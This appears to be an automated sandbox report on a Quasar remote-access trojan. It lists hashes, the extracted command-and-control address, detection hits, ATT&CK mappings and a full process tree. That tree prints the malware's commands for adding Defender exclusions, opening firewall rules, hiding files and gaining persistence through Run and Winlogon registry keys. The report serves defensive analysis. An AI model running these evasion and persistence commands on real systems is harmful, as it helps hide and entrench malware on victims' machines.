quasar | 9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809

Analysis

max time kernel
32s
max time network
156s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13/10/2023, 22:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe
Size

1.4MB
MD5

4bb6ceb5ac1da61efacc1dbd9c3c517a
SHA1

1854a85f83550a01f98b6cd95cda83a1e58400f1
SHA256

9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809
SHA512

f20f69de7f07fe6e47c7b53085051d1e618fc072b6442f769d0f0ce51d3a5362dbaddcdf46d158e1eeceaeb21315dff2fd0f024f60011c516d2bf7e44fd117c0
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

10^/10

quasar -evasion spyware trojan upx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

94.131.105.161:12344

Mutex

QSR_MUTEX_UEgITWnMKnRP3EZFzK

Attributes

encryption_key
5Q0JQBQQfAUHRJTcAIOF
install_name
lient.exe
log_directory
Lugs
reconnect_delay
3000
startup_key
itartup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 5 IoCs

resource	yara_rule
behavioral1/memory/2792-141-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2792-142-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2792-146-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2792-149-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2792-151-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
2900	netsh.exe
3036	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x000d000000012271-77.dat	acprotect
behavioral1/files/0x000d000000012271-79.dat	acprotect

Executes dropped EXE 1 IoCs

pid	Process
1920	7z.exe

Loads dropped DLL 3 IoCs

pid	Process
2656	cmd.exe
2656	cmd.exe
1920	7z.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0035000000016581-71.dat	upx
behavioral1/files/0x0035000000016581-74.dat	upx
behavioral1/files/0x000d000000012271-77.dat	upx
behavioral1/memory/1920-78-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x0035000000016581-75.dat	upx
behavioral1/memory/2656-73-0x0000000000210000-0x0000000000242000-memory.dmp	upx
behavioral1/files/0x000d000000012271-79.dat	upx
behavioral1/files/0x0035000000016581-72.dat	upx
behavioral1/memory/1920-80-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/1920-85-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/1920-88-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/memory/1800-100-0x00000000025B0000-0x00000000025F0000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
2920	PING.EXE
2584	PING.EXE
2596	PING.EXE
2804	PING.EXE
1688	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2568	powershell.exe
2484	powershell.exe
1308	powershell.exe
2716	powershell.exe
2376	powershell.exe
1800	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2244	WMIC.exe
Token: SeSecurityPrivilege	2244	WMIC.exe
Token: SeTakeOwnershipPrivilege	2244	WMIC.exe
Token: SeLoadDriverPrivilege	2244	WMIC.exe
Token: SeSystemProfilePrivilege	2244	WMIC.exe
Token: SeSystemtimePrivilege	2244	WMIC.exe
Token: SeProfSingleProcessPrivilege	2244	WMIC.exe
Token: SeIncBasePriorityPrivilege	2244	WMIC.exe
Token: SeCreatePagefilePrivilege	2244	WMIC.exe
Token: SeBackupPrivilege	2244	WMIC.exe
Token: SeRestorePrivilege	2244	WMIC.exe
Token: SeShutdownPrivilege	2244	WMIC.exe
Token: SeDebugPrivilege	2244	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2244	WMIC.exe
Token: SeRemoteShutdownPrivilege	2244	WMIC.exe
Token: SeUndockPrivilege	2244	WMIC.exe
Token: SeManageVolumePrivilege	2244	WMIC.exe
Token: 33	2244	WMIC.exe
Token: 34	2244	WMIC.exe
Token: 35	2244	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2244	WMIC.exe
Token: SeSecurityPrivilege	2244	WMIC.exe
Token: SeTakeOwnershipPrivilege	2244	WMIC.exe
Token: SeLoadDriverPrivilege	2244	WMIC.exe
Token: SeSystemProfilePrivilege	2244	WMIC.exe
Token: SeSystemtimePrivilege	2244	WMIC.exe
Token: SeProfSingleProcessPrivilege	2244	WMIC.exe
Token: SeIncBasePriorityPrivilege	2244	WMIC.exe
Token: SeCreatePagefilePrivilege	2244	WMIC.exe
Token: SeBackupPrivilege	2244	WMIC.exe
Token: SeRestorePrivilege	2244	WMIC.exe
Token: SeShutdownPrivilege	2244	WMIC.exe
Token: SeDebugPrivilege	2244	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2244	WMIC.exe
Token: SeRemoteShutdownPrivilege	2244	WMIC.exe
Token: SeUndockPrivilege	2244	WMIC.exe
Token: SeManageVolumePrivilege	2244	WMIC.exe
Token: 33	2244	WMIC.exe
Token: 34	2244	WMIC.exe
Token: 35	2244	WMIC.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2656	2856	9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe	28
PID 2856 wrote to memory of 2656	2856	9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe	28
PID 2856 wrote to memory of 2656	2856	9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe	28
PID 2856 wrote to memory of 2656	2856	9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe	28
PID 2656 wrote to memory of 2664	2656	cmd.exe	30
PID 2656 wrote to memory of 2664	2656	cmd.exe	30
PID 2656 wrote to memory of 2664	2656	cmd.exe	30
PID 2656 wrote to memory of 2664	2656	cmd.exe	30
PID 2664 wrote to memory of 2688	2664	cmd.exe	31
PID 2664 wrote to memory of 2688	2664	cmd.exe	31
PID 2664 wrote to memory of 2688	2664	cmd.exe	31
PID 2664 wrote to memory of 2688	2664	cmd.exe	31
PID 2656 wrote to memory of 2524	2656	cmd.exe	32
PID 2656 wrote to memory of 2524	2656	cmd.exe	32
PID 2656 wrote to memory of 2524	2656	cmd.exe	32
PID 2656 wrote to memory of 2524	2656	cmd.exe	32
PID 2524 wrote to memory of 2244	2524	cmd.exe	33
PID 2524 wrote to memory of 2244	2524	cmd.exe	33
PID 2524 wrote to memory of 2244	2524	cmd.exe	33
PID 2524 wrote to memory of 2244	2524	cmd.exe	33
PID 2656 wrote to memory of 2568	2656	cmd.exe	35
PID 2656 wrote to memory of 2568	2656	cmd.exe	35
PID 2656 wrote to memory of 2568	2656	cmd.exe	35
PID 2656 wrote to memory of 2568	2656	cmd.exe	35
PID 2656 wrote to memory of 2484	2656	cmd.exe	36
PID 2656 wrote to memory of 2484	2656	cmd.exe	36
PID 2656 wrote to memory of 2484	2656	cmd.exe	36
PID 2656 wrote to memory of 2484	2656	cmd.exe	36
PID 2656 wrote to memory of 1308	2656	cmd.exe	37
PID 2656 wrote to memory of 1308	2656	cmd.exe	37
PID 2656 wrote to memory of 1308	2656	cmd.exe	37
PID 2656 wrote to memory of 1308	2656	cmd.exe	37
PID 2656 wrote to memory of 2716	2656	cmd.exe	38
PID 2656 wrote to memory of 2716	2656	cmd.exe	38
PID 2656 wrote to memory of 2716	2656	cmd.exe	38
PID 2656 wrote to memory of 2716	2656	cmd.exe	38
PID 2656 wrote to memory of 2376	2656	cmd.exe	39
PID 2656 wrote to memory of 2376	2656	cmd.exe	39
PID 2656 wrote to memory of 2376	2656	cmd.exe	39
PID 2656 wrote to memory of 2376	2656	cmd.exe	39
PID 2656 wrote to memory of 1920	2656	cmd.exe	40
PID 2656 wrote to memory of 1920	2656	cmd.exe	40
PID 2656 wrote to memory of 1920	2656	cmd.exe	40
PID 2656 wrote to memory of 1920	2656	cmd.exe	40
PID 2656 wrote to memory of 1800	2656	cmd.exe	43
PID 2656 wrote to memory of 1800	2656	cmd.exe	43
PID 2656 wrote to memory of 1800	2656	cmd.exe	43
PID 2656 wrote to memory of 1800	2656	cmd.exe	43
PID 1800 wrote to memory of 2900	1800	powershell.exe	44
PID 1800 wrote to memory of 2900	1800	powershell.exe	44
PID 1800 wrote to memory of 2900	1800	powershell.exe	44
PID 1800 wrote to memory of 2900	1800	powershell.exe	44

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1716	attrib.exe

C:\Users\Admin\AppData\Local\Temp\9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe
"C:\Users\Admin\AppData\Local\Temp\9de68f668667c9766d1da720a8bf7337bb8381fa7d1928500eb07c1721963809.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:2688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2244
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2484
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1920
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:2900
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:1580
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="ZWKQHIWB" set AutomaticManagedPagefile=False
        5⤵
        
        PID:2884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:2020
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:1036
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      PID:2364
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:1600
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 10
        6⤵
        Runs ping.exe
        
        PID:2804
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:2228
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 15 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 15 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:1056
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 15
        6⤵
        Runs ping.exe
        
        PID:1688
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:1716
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    PID:2028
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    PID:1820
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
      4⤵
      PID:2360
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 6
        5⤵
        Runs ping.exe
        
        PID:2920
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:2136
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 17 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 17 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:2992
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 17
        5⤵
        Runs ping.exe
        
        PID:2596
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:2388
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:2792

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 17
1⤵
- Runs ping.exe
PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
91.3MB

MD5
1cb616eedaef6af0a2a6ae15d6955bf2

SHA1
6ef48de1314fc76e33596d66ab088709f2c3adaa

SHA256
11c6d0daf6168f3886f191d7e27b5c2a27de857b2fb93bc206745633fe41756f

SHA512
f147e430d2066198b2cc0eb7a4eb903b2b784028f10cdf51429aa7eed10263bcf64d7fbaa4a525a5933a4d2c6c625ddfc957e37e9a31ba351f48784f563a9dcd

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
92.6MB

MD5
29c8cb7160bf4266b89122a2f73a7b5c

SHA1
280c83cfb6a365833e99664cb42d56d29f5e0ff9

SHA256
2d34bc0f5a235e22108ca6fe506edae2e0cf965ddc51d7cddb85289b8ad312c8

SHA512
99df60109513099e13e8e6b772bde82cecc62426dd146d4658b8ee18fd816d081bd822a5dea9d61428c0b5e8fe1641808ffddcfe7d21b0f6b55d018b24e2c53e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
92.5MB

MD5
8b9353b69cf6c6367a66d0c42d8ebf0e

SHA1
ff3408532e99ffc270f06dff9dc1cb134e1cc408

SHA256
f6880810b40482791507b7044aecad0ba12c103d94b7763cf62007f0f6455bf9

SHA512
db682b50ae88e58eaf2a6099a1f8295fbb4352bb1f3bb90e8dd5e961a5f83797ed18d54308d49e6af388ff3fa4a7b5fcade498051fd9d370cc1aaa802ef35c64

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
128.9MB

MD5
ca303b400f3b4ff9c0ec45c8c44d3683

SHA1
e7d3e687692f8fd8f7143ead36228f4169ff976c

SHA256
706749f33cc357e5014d156410d113e3bfa0d104afbe9ab32a5b375736ba76f9

SHA512
bf53a873631c27e03d2e0b8761bd094d23a3fa7da4df8339eaaaf7ecd37acd1455227118eef18cb8329b5bc7df410f39d135e8006c44aa15ea4fc2cead16b1ba

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K27KBXRH93BF5RBHITL2.temp

Filesize
7KB

MD5
b7108410178863c1eca891932c994112

SHA1
8cca56d46c7526c31148363ec88e15db7d597c64

SHA256
de3afbd492e138c263bb299c8d16be0dff1e64d437592fc3da3d8a472090af69

SHA512
d21de1eb7a43051c2a1c8cb484c610cd4c7ca9aa9a01a9a59d2e9ec4d6f38943bb3dfa73615720bba638e9c593229e74abcde4c6e75d6b15a7f79515e1d2f8d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b7108410178863c1eca891932c994112

SHA1
8cca56d46c7526c31148363ec88e15db7d597c64

SHA256
de3afbd492e138c263bb299c8d16be0dff1e64d437592fc3da3d8a472090af69

SHA512
d21de1eb7a43051c2a1c8cb484c610cd4c7ca9aa9a01a9a59d2e9ec4d6f38943bb3dfa73615720bba638e9c593229e74abcde4c6e75d6b15a7f79515e1d2f8d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b7108410178863c1eca891932c994112

SHA1
8cca56d46c7526c31148363ec88e15db7d597c64

SHA256
de3afbd492e138c263bb299c8d16be0dff1e64d437592fc3da3d8a472090af69

SHA512
d21de1eb7a43051c2a1c8cb484c610cd4c7ca9aa9a01a9a59d2e9ec4d6f38943bb3dfa73615720bba638e9c593229e74abcde4c6e75d6b15a7f79515e1d2f8d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b7108410178863c1eca891932c994112

SHA1
8cca56d46c7526c31148363ec88e15db7d597c64

SHA256
de3afbd492e138c263bb299c8d16be0dff1e64d437592fc3da3d8a472090af69

SHA512
d21de1eb7a43051c2a1c8cb484c610cd4c7ca9aa9a01a9a59d2e9ec4d6f38943bb3dfa73615720bba638e9c593229e74abcde4c6e75d6b15a7f79515e1d2f8d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b7108410178863c1eca891932c994112

SHA1
8cca56d46c7526c31148363ec88e15db7d597c64

SHA256
de3afbd492e138c263bb299c8d16be0dff1e64d437592fc3da3d8a472090af69

SHA512
d21de1eb7a43051c2a1c8cb484c610cd4c7ca9aa9a01a9a59d2e9ec4d6f38943bb3dfa73615720bba638e9c593229e74abcde4c6e75d6b15a7f79515e1d2f8d6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b7108410178863c1eca891932c994112

SHA1
8cca56d46c7526c31148363ec88e15db7d597c64

SHA256
de3afbd492e138c263bb299c8d16be0dff1e64d437592fc3da3d8a472090af69

SHA512
d21de1eb7a43051c2a1c8cb484c610cd4c7ca9aa9a01a9a59d2e9ec4d6f38943bb3dfa73615720bba638e9c593229e74abcde4c6e75d6b15a7f79515e1d2f8d6

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
53.0MB

MD5
18d7f38b82d1e64c936a947674f76d2c

SHA1
80833e3b785da059c0f7f7493b425d5416fa9883

SHA256
0537293517763e5a6708d4dc993dd255ba6b588eb811a64fe6c8479e84821c8d

SHA512
be2bed0c1854e66dd0ec66297cdf58e0503c9152af206ad898b72ef54c409c1ab40f118e036faac5ba9408d7ee665b37843b0549f022ab2a781de851c44ab034

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
31.6MB

MD5
5f6ac3ff6d8b81c1a77cd115d0f7c827

SHA1
7a87de5915f95a0c08e011beabea9e8963436cfb

SHA256
4c929d918261fb3ec2953ca927523f2610cc427ca9fd12fa4ec020d929001d42

SHA512
c2e01e19a7e079d4ba04f691c7f48331b99113a01b5b0f68824b85cb359813103140f44ba93ad4348720f9d15b364d57b5accea057726b2526723cc45e634846

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
33.0MB

MD5
7b9f36c8c9fed581a94f7891de0e1ef2

SHA1
0f9e34eb2eb3f235f8c5311ca7196aa6ad06a50b

SHA256
c7e59295d9edf38fcd4d688026535f958b14975b72c5ca0788402c4647cbf0c7

SHA512
e5abd2bd81af4595033a0325772e7f955b9d95e9adf439e18b03c0e1ef7518089a5fb6921648a350f11f445b98a47b7bd4ab655cc13e311effbdf35eb663c578

Download Submit
\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
92.1MB

MD5
5d56b45d7a06c930fbffea872773a08b

SHA1
4a727bfb3d2318e9a0fcdbbdc09325e0b9ffe76b

SHA256
1ed6e02f450c1e97a78d0755f3ddbe5bd31d841e8f1fe57876906f8ab8fc1c12

SHA512
504435620b877455c23979a25353d915f8111609504a00c5fb09139ae2a38b042a6fa36340cb2fb0f464bad824758df43ca2f4fc3119af5f27f337704adc3791

Download Submit
\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
